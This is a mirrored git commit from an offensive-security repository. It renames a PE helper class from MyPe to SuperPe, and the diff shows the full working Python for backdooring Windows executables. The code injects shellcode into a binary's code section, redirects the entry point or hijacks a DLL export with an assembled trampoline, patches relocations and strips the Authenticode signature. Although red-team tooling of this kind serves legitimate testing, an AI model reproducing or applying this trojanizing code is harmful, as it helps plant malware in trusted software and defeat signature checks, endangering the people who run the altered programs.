mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: mype -> superpe
This commit is contained in:
Dobin
+35
-35
@@ -12,15 +12,15 @@ from enum import IntEnum
|
||||
import logging
|
||||
|
||||
from helper import hexdump
|
||||
from pe.mype import MyPe
|
||||
from pe.superpe import SuperPe
|
||||
from model.defs import *
|
||||
|
||||
logger = logging.getLogger("DerBackdoorer")
|
||||
|
||||
|
||||
class PeBackdoor:
|
||||
def __init__(self, mype: MyPe, main_shc: bytes, inject_mode: InjectStyle):
|
||||
self.mype: MyPe = mype
|
||||
def __init__(self, superpe: SuperPe, main_shc: bytes, inject_mode: InjectStyle):
|
||||
self.superpe: SuperPe = superpe
|
||||
self.runMode: InjectStyle = inject_mode
|
||||
self.shellcodeData: bytes = main_shc
|
||||
|
||||
@@ -31,7 +31,7 @@ class PeBackdoor:
|
||||
|
||||
|
||||
def injectShellcode(self):
|
||||
sect = self.mype.get_code_section()
|
||||
sect = self.superpe.get_code_section()
|
||||
if sect == None:
|
||||
logger.error('Could not find code section in input PE file!')
|
||||
return False
|
||||
@@ -48,22 +48,22 @@ Code section size : {sect_size}
|
||||
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||
logger.debug(f'Inserting shellcode into 0x{offset:x} offset.')
|
||||
|
||||
self.mype.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||
self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||
self.shellcodeOffset = offset
|
||||
self.shellcodeOffsetRel = offset - sect.PointerToRawData
|
||||
|
||||
rva = self.mype.pe.get_rva_from_offset(offset)
|
||||
rva = self.superpe.pe.get_rva_from_offset(offset)
|
||||
|
||||
p = sect.PointerToRawData + sect.SizeOfRawData - 64
|
||||
graph = textwrap.indent(f'''
|
||||
Beginning of {sect_name}:
|
||||
{textwrap.indent(hexdump(self.mype.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
|
||||
{textwrap.indent(hexdump(self.superpe.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
|
||||
|
||||
Injected shellcode in the middle of {sect_name}:
|
||||
{hexdump(self.shellcodeData, offset, 64)}
|
||||
|
||||
Trailing {sect_name} bytes:
|
||||
{hexdump(self.mype.pe.get_data(self.mype.pe.get_rva_from_offset(p)), p, 64)}
|
||||
{hexdump(self.superpe.pe.get_data(self.superpe.pe.get_rva_from_offset(p)), p, 64)}
|
||||
''', '\t')
|
||||
|
||||
logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
|
||||
@@ -73,8 +73,8 @@ Trailing {sect_name} bytes:
|
||||
|
||||
def setupShellcodeEntryPoint(self):
|
||||
if self.runMode == InjectStyle.ChangeEntryPoint:
|
||||
rva = self.mype.pe.get_rva_from_offset(self.shellcodeOffset)
|
||||
self.mype.set_entrypoint(rva)
|
||||
rva = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset)
|
||||
self.superpe.set_entrypoint(rva)
|
||||
|
||||
logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:x}')
|
||||
return True
|
||||
@@ -101,19 +101,19 @@ Trailing {sect_name} bytes:
|
||||
logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
|
||||
|
||||
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
|
||||
self.mype.pe.parse_data_directories(directories=d)
|
||||
self.superpe.pe.parse_data_directories(directories=d)
|
||||
|
||||
if self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
||||
if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
|
||||
logger.error('No DLL exports found! Specify existing DLL Exported function with -e/--export!')
|
||||
return -1
|
||||
|
||||
exports = [(e.ordinal, dec(e.name)) for e in self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols]
|
||||
exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
|
||||
|
||||
for export in exports:
|
||||
logger.debug(f'DLL Export: {export[0]} {export[1]}')
|
||||
if export[1].lower() == exportName.lower():
|
||||
|
||||
addr = self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
|
||||
addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
|
||||
logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:x} . Attempting to hijack it...')
|
||||
return addr
|
||||
|
||||
@@ -121,13 +121,13 @@ Trailing {sect_name} bytes:
|
||||
|
||||
|
||||
def backdoorEntryPoint(self, addr = -1):
|
||||
imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase
|
||||
self.shellcodeAddr = self.mype.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
|
||||
imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
|
||||
self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
|
||||
|
||||
cs = None
|
||||
ks = None
|
||||
|
||||
if self.mype.arch == 'x86':
|
||||
if self.superpe.arch == 'x86':
|
||||
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN)
|
||||
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN)
|
||||
else:
|
||||
@@ -139,33 +139,33 @@ Trailing {sect_name} bytes:
|
||||
ep = addr
|
||||
|
||||
if addr == -1:
|
||||
ep = self.mype.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
ep = self.superpe.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
|
||||
ep_ava = ep + self.mype.pe.OPTIONAL_HEADER.ImageBase
|
||||
data = self.mype.pe.get_memory_mapped_image()[ep:ep+128]
|
||||
ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
|
||||
data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
|
||||
offset = 0
|
||||
|
||||
logger.debug('Entry Point disasm:')
|
||||
|
||||
disasmData = self.mype.pe.get_memory_mapped_image()
|
||||
output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
|
||||
disasmData = self.superpe.pe.get_memory_mapped_image()
|
||||
output = self.superpe.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
|
||||
|
||||
# store offset... by calculating it first FUCK
|
||||
section = self.mype.get_code_section()
|
||||
section = self.superpe.get_code_section()
|
||||
self.backdoorOffsetRel = output - section.VirtualAddress
|
||||
|
||||
if output != 0:
|
||||
logger.debug('Now disasm looks like follows: ')
|
||||
|
||||
disasmData = self.mype.pe.get_memory_mapped_image()
|
||||
self.mype.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
|
||||
disasmData = self.superpe.pe.get_memory_mapped_image()
|
||||
self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
|
||||
|
||||
logger.debug('\n[>] Inserted backdoor code: ')
|
||||
for instr in cs.disasm(bytes(self.compiledTrampoline), output):
|
||||
self.mype.printInstr(instr, 1)
|
||||
self.superpe.printInstr(instr, 1)
|
||||
|
||||
logger.debug('')
|
||||
self.mype.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
|
||||
self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
|
||||
|
||||
else:
|
||||
logger.error('Did not find suitable candidate for Entry Point branch hijack!')
|
||||
@@ -179,7 +179,7 @@ Trailing {sect_name} bytes:
|
||||
|
||||
registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']
|
||||
|
||||
if self.mype.arch == 'x86':
|
||||
if self.superpe.arch == 'x86':
|
||||
registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi']
|
||||
|
||||
reg = random.choice(registers).upper()
|
||||
@@ -232,14 +232,14 @@ Trailing {sect_name} bytes:
|
||||
|
||||
if len(trampoline) > 0:
|
||||
encoding, count = ks.asm(trampoline)
|
||||
self.mype.pe.set_bytes_at_rva(instr.address, bytes(encoding))
|
||||
self.superpe.pe.set_bytes_at_rva(instr.address, bytes(encoding))
|
||||
|
||||
relocs = (
|
||||
instr.address + addrOffset,
|
||||
)
|
||||
|
||||
pageRva = 4096 * int((instr.address + addrOffset) / 4096)
|
||||
self.mype.addImageBaseRelocations(pageRva, relocs)
|
||||
self.superpe.addImageBaseRelocations(pageRva, relocs)
|
||||
|
||||
self.trampoline = trampoline
|
||||
self.compiledTrampoline = encoding
|
||||
@@ -252,13 +252,13 @@ Trailing {sect_name} bytes:
|
||||
|
||||
|
||||
def removeSignature(self):
|
||||
addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
|
||||
size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
|
||||
addr = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
|
||||
size = self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
|
||||
|
||||
self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size)
|
||||
self.superpe.pe.set_bytes_at_rva(addr, b'\x00' * size)
|
||||
|
||||
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
||||
self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
||||
self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
|
||||
self.superpe.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
|
||||
|
||||
logger.info('PE executable Authenticode signature removed.')
|
||||
return True
|
||||
-199
@@ -1,199 +0,0 @@
|
||||
import pefile
|
||||
import capstone
|
||||
from enum import IntEnum
|
||||
import logging
|
||||
|
||||
from helper import hexdump
|
||||
|
||||
logger = logging.getLogger("MyPe")
|
||||
|
||||
|
||||
class MyPe():
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_HIGH = 1
|
||||
IMAGE_REL_BASED_LOW = 2
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
IMAGE_REL_BASED_HIGHADJ = 4
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.pe = None
|
||||
|
||||
|
||||
def openFile(self, infile):
|
||||
self.pe = pefile.PE(infile, fast_load=False)
|
||||
self.pe.parse_data_directories()
|
||||
|
||||
self.ptrSize = 4
|
||||
self.arch = self.getFileArch()
|
||||
if self.arch == 'x64':
|
||||
self.ptrSize = 8
|
||||
|
||||
|
||||
def getFileArch(self):
|
||||
if self.pe.FILE_HEADER.Machine == 0x014c:
|
||||
return "x86"
|
||||
|
||||
if self.pe.FILE_HEADER.Machine == 0x8664:
|
||||
return "x64"
|
||||
|
||||
raise Exception("Unsupported PE file architecture.")
|
||||
|
||||
|
||||
def get_code_section(self):
|
||||
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
for sect in self.pe.sections:
|
||||
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
|
||||
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
|
||||
return sect
|
||||
return None
|
||||
|
||||
|
||||
def get_code_section_data(self) -> bytes:
|
||||
sect = self.get_code_section()
|
||||
return bytes(sect.get_data())
|
||||
|
||||
|
||||
def write_code_section_data(self, data: bytes):
|
||||
sect = self.get_code_section()
|
||||
self.pe.set_bytes_at_offset(sect.PointerToRawData, data)
|
||||
|
||||
|
||||
def getSectionIndexByDataDir(self, dirIndex):
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
|
||||
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with directory index {dirIndex}!')
|
||||
return -1
|
||||
|
||||
|
||||
def getRemainingRelocsDirectorySize(self):
|
||||
relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
|
||||
return out
|
||||
|
||||
|
||||
def getSectionIndexByName(self, name):
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if sect.Name.decode().lower().startswith(name.lower()):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with name {name}!')
|
||||
return -1
|
||||
|
||||
|
||||
def addImageBaseRelocations(self, pageRva, relocs):
|
||||
assert pageRva > 0
|
||||
|
||||
if not self.pe.has_relocs():
|
||||
logger.error("No .reloc section")
|
||||
raise(Exception("No .reloc section"))
|
||||
|
||||
imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW
|
||||
if self.arch == 'x64':
|
||||
imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64
|
||||
|
||||
logger.info('Adding new relocations to backdoored PE file...')
|
||||
|
||||
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
|
||||
relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
|
||||
sizeOfReloc = 2 * len(relocs) + 2 * 4
|
||||
|
||||
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
|
||||
self.logger.warn('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
|
||||
self.logger.warn(' Will try disabling relocations on output file. Expect corrupted executable though!')
|
||||
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
|
||||
return
|
||||
|
||||
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
|
||||
|
||||
# VirtualAddress
|
||||
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
|
||||
|
||||
# SizeOfBlock
|
||||
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
|
||||
|
||||
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
|
||||
|
||||
i = 0
|
||||
for reloc in relocs:
|
||||
reloc_offset = (reloc - pageRva)
|
||||
reloc_type = imageBaseRelocType << 12
|
||||
|
||||
relocWord = (reloc_type | reloc_offset)
|
||||
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
|
||||
logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
|
||||
i += 1
|
||||
|
||||
|
||||
## Helpers
|
||||
|
||||
def get_entyrpoint(self) -> int:
|
||||
return self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
|
||||
def set_entrypoint(self, entrypoint: int):
|
||||
self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = entrypoint
|
||||
|
||||
|
||||
def write(self, outfile: str):
|
||||
self.pe.write(outfile)
|
||||
|
||||
|
||||
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
|
||||
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
|
||||
|
||||
|
||||
def printInstr(self, instr, depth):
|
||||
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
|
||||
if len(instr.bytes) < 8:
|
||||
_bytes.extend([' ',] * (8 - len(instr.bytes)))
|
||||
|
||||
instrBytes = ' '.join([f'{x}' for x in _bytes])
|
||||
logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
|
||||
|
||||
|
||||
def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
|
||||
if depth > maxDepth:
|
||||
return 0
|
||||
|
||||
data = disasmData[startOffset:startOffset + length]
|
||||
|
||||
for instr in cs.disasm(data, startOffset):
|
||||
self.printInstr(instr, depth)
|
||||
|
||||
if len(instr.operands) == 1:
|
||||
operand = instr.operands[0]
|
||||
|
||||
if operand.type == capstone.CS_OP_IMM:
|
||||
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
|
||||
logger.debug('')
|
||||
|
||||
if callback:
|
||||
out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
|
||||
if out != 0:
|
||||
return out
|
||||
|
||||
if depth + 1 <= maxDepth:
|
||||
out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
|
||||
return out
|
||||
|
||||
if not callback:
|
||||
return 1
|
||||
|
||||
return 0
|
||||
+1
-1
@@ -11,7 +11,7 @@ logger = logging.getLogger("PEHelper")
|
||||
|
||||
|
||||
# PEHelper
|
||||
# Work directly on PE files. Not using mype or other abstractions.
|
||||
# Work directly on PE files. Not using superpe or other abstractions.
|
||||
# Its mostly used for verification of what we were doing.
|
||||
|
||||
|
||||
|
||||
+188
-9
@@ -1,6 +1,12 @@
|
||||
from typing import List
|
||||
import pefile
|
||||
import capstone
|
||||
from enum import IntEnum
|
||||
import logging
|
||||
from typing import List
|
||||
|
||||
from helper import hexdump
|
||||
|
||||
logger = logging.getLogger("superpe")
|
||||
|
||||
class PeSection():
|
||||
def __init__(self, pefile_section: pefile.SectionStructure):
|
||||
@@ -9,22 +15,34 @@ class PeSection():
|
||||
self.raw_size: int = pefile_section.SizeOfRawData
|
||||
self.virt_addr: int = pefile_section.VirtualAddress
|
||||
self.virt_size: int = pefile_section.Misc_VirtualSize
|
||||
#self.permissions = pefile_section.Characteristics
|
||||
|
||||
|
||||
class SuperPe():
|
||||
"""Interact with a PE file using pefile"""
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
|
||||
def __init__(self, pe: pefile.PE):
|
||||
self.pe: pefile.PE = pe
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_HIGH = 1
|
||||
IMAGE_REL_BASED_LOW = 2
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
IMAGE_REL_BASED_HIGHADJ = 4
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
|
||||
|
||||
def __init__(self, infile: str):
|
||||
self.pe_sections: List[PeSection] = []
|
||||
|
||||
|
||||
def init(self):
|
||||
self.pe = pefile.PE(infile, fast_load=False)
|
||||
for section in self.pe.sections:
|
||||
self.pe_sections.append(PeSection(section))
|
||||
|
||||
self.pe.parse_data_directories()
|
||||
|
||||
self.ptrSize = 4
|
||||
self.arch = self.getFileArch()
|
||||
if self.arch == 'x64':
|
||||
self.ptrSize = 8
|
||||
|
||||
##################
|
||||
def get_section_by_name(self, name: str) -> PeSection:
|
||||
for section in self.pe_sections:
|
||||
if section.name == name:
|
||||
@@ -46,4 +64,165 @@ class SuperPe():
|
||||
return None
|
||||
|
||||
|
||||
def getFileArch(self):
|
||||
if self.pe.FILE_HEADER.Machine == 0x014c:
|
||||
return "x86"
|
||||
|
||||
if self.pe.FILE_HEADER.Machine == 0x8664:
|
||||
return "x64"
|
||||
|
||||
raise Exception("Unsupported PE file architecture.")
|
||||
|
||||
|
||||
def get_code_section(self):
|
||||
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
for sect in self.pe.sections:
|
||||
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
|
||||
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
|
||||
return sect
|
||||
return None
|
||||
|
||||
|
||||
def get_code_section_data(self) -> bytes:
|
||||
sect = self.get_code_section()
|
||||
return bytes(sect.get_data())
|
||||
|
||||
|
||||
def write_code_section_data(self, data: bytes):
|
||||
sect = self.get_code_section()
|
||||
self.pe.set_bytes_at_offset(sect.PointerToRawData, data)
|
||||
|
||||
|
||||
def getSectionIndexByDataDir(self, dirIndex):
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
|
||||
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with directory index {dirIndex}!')
|
||||
return -1
|
||||
|
||||
|
||||
def getRemainingRelocsDirectorySize(self):
|
||||
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
|
||||
return out
|
||||
|
||||
|
||||
def getSectionIndexByName(self, name):
|
||||
i = 0
|
||||
for sect in self.pe.sections:
|
||||
if sect.Name.decode().lower().startswith(name.lower()):
|
||||
return i
|
||||
i += 1
|
||||
|
||||
logger.error(f'Could not find section with name {name}!')
|
||||
return -1
|
||||
|
||||
|
||||
def addImageBaseRelocations(self, pageRva, relocs):
|
||||
assert pageRva > 0
|
||||
|
||||
if not self.pe.has_relocs():
|
||||
logger.error("No .reloc section")
|
||||
raise(Exception("No .reloc section"))
|
||||
|
||||
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_HIGHLOW
|
||||
if self.arch == 'x64':
|
||||
imageBaseRelocType = SuperPe.IMAGE_REL_BASED_DIR64
|
||||
|
||||
logger.info('Adding new relocations to backdoored PE file...')
|
||||
|
||||
relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
|
||||
relocsIndex = self.getSectionIndexByDataDir(SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||||
addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
|
||||
sizeOfReloc = 2 * len(relocs) + 2 * 4
|
||||
|
||||
if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
|
||||
self.logger.warn('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
|
||||
self.logger.warn(' Will try disabling relocations on output file. Expect corrupted executable though!')
|
||||
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
|
||||
return
|
||||
|
||||
relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
|
||||
self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
|
||||
|
||||
# VirtualAddress
|
||||
self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
|
||||
|
||||
# SizeOfBlock
|
||||
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
|
||||
|
||||
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
|
||||
|
||||
i = 0
|
||||
for reloc in relocs:
|
||||
reloc_offset = (reloc - pageRva)
|
||||
reloc_type = imageBaseRelocType << 12
|
||||
|
||||
relocWord = (reloc_type | reloc_offset)
|
||||
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
|
||||
logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
|
||||
i += 1
|
||||
|
||||
|
||||
## Helpers
|
||||
|
||||
def get_entyrpoint(self) -> int:
|
||||
return self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
|
||||
def set_entrypoint(self, entrypoint: int):
|
||||
self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = entrypoint
|
||||
|
||||
|
||||
def write(self, outfile: str):
|
||||
self.pe.write(outfile)
|
||||
|
||||
|
||||
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
|
||||
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
|
||||
|
||||
|
||||
def printInstr(self, instr, depth):
|
||||
_bytes = [f'{x:02x}' for x in instr.bytes[:8]]
|
||||
if len(instr.bytes) < 8:
|
||||
_bytes.extend([' ',] * (8 - len(instr.bytes)))
|
||||
|
||||
instrBytes = ' '.join([f'{x}' for x in _bytes])
|
||||
logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
|
||||
|
||||
|
||||
def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
|
||||
if depth > maxDepth:
|
||||
return 0
|
||||
|
||||
data = disasmData[startOffset:startOffset + length]
|
||||
|
||||
for instr in cs.disasm(data, startOffset):
|
||||
self.printInstr(instr, depth)
|
||||
|
||||
if len(instr.operands) == 1:
|
||||
operand = instr.operands[0]
|
||||
|
||||
if operand.type == capstone.CS_OP_IMM:
|
||||
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
|
||||
logger.debug('')
|
||||
|
||||
if callback:
|
||||
out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
|
||||
if out != 0:
|
||||
return out
|
||||
|
||||
if depth + 1 <= maxDepth:
|
||||
out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
|
||||
return out
|
||||
|
||||
if not callback:
|
||||
return 1
|
||||
|
||||
return 0
|
||||
|
||||
Reference in New Issue
Block a user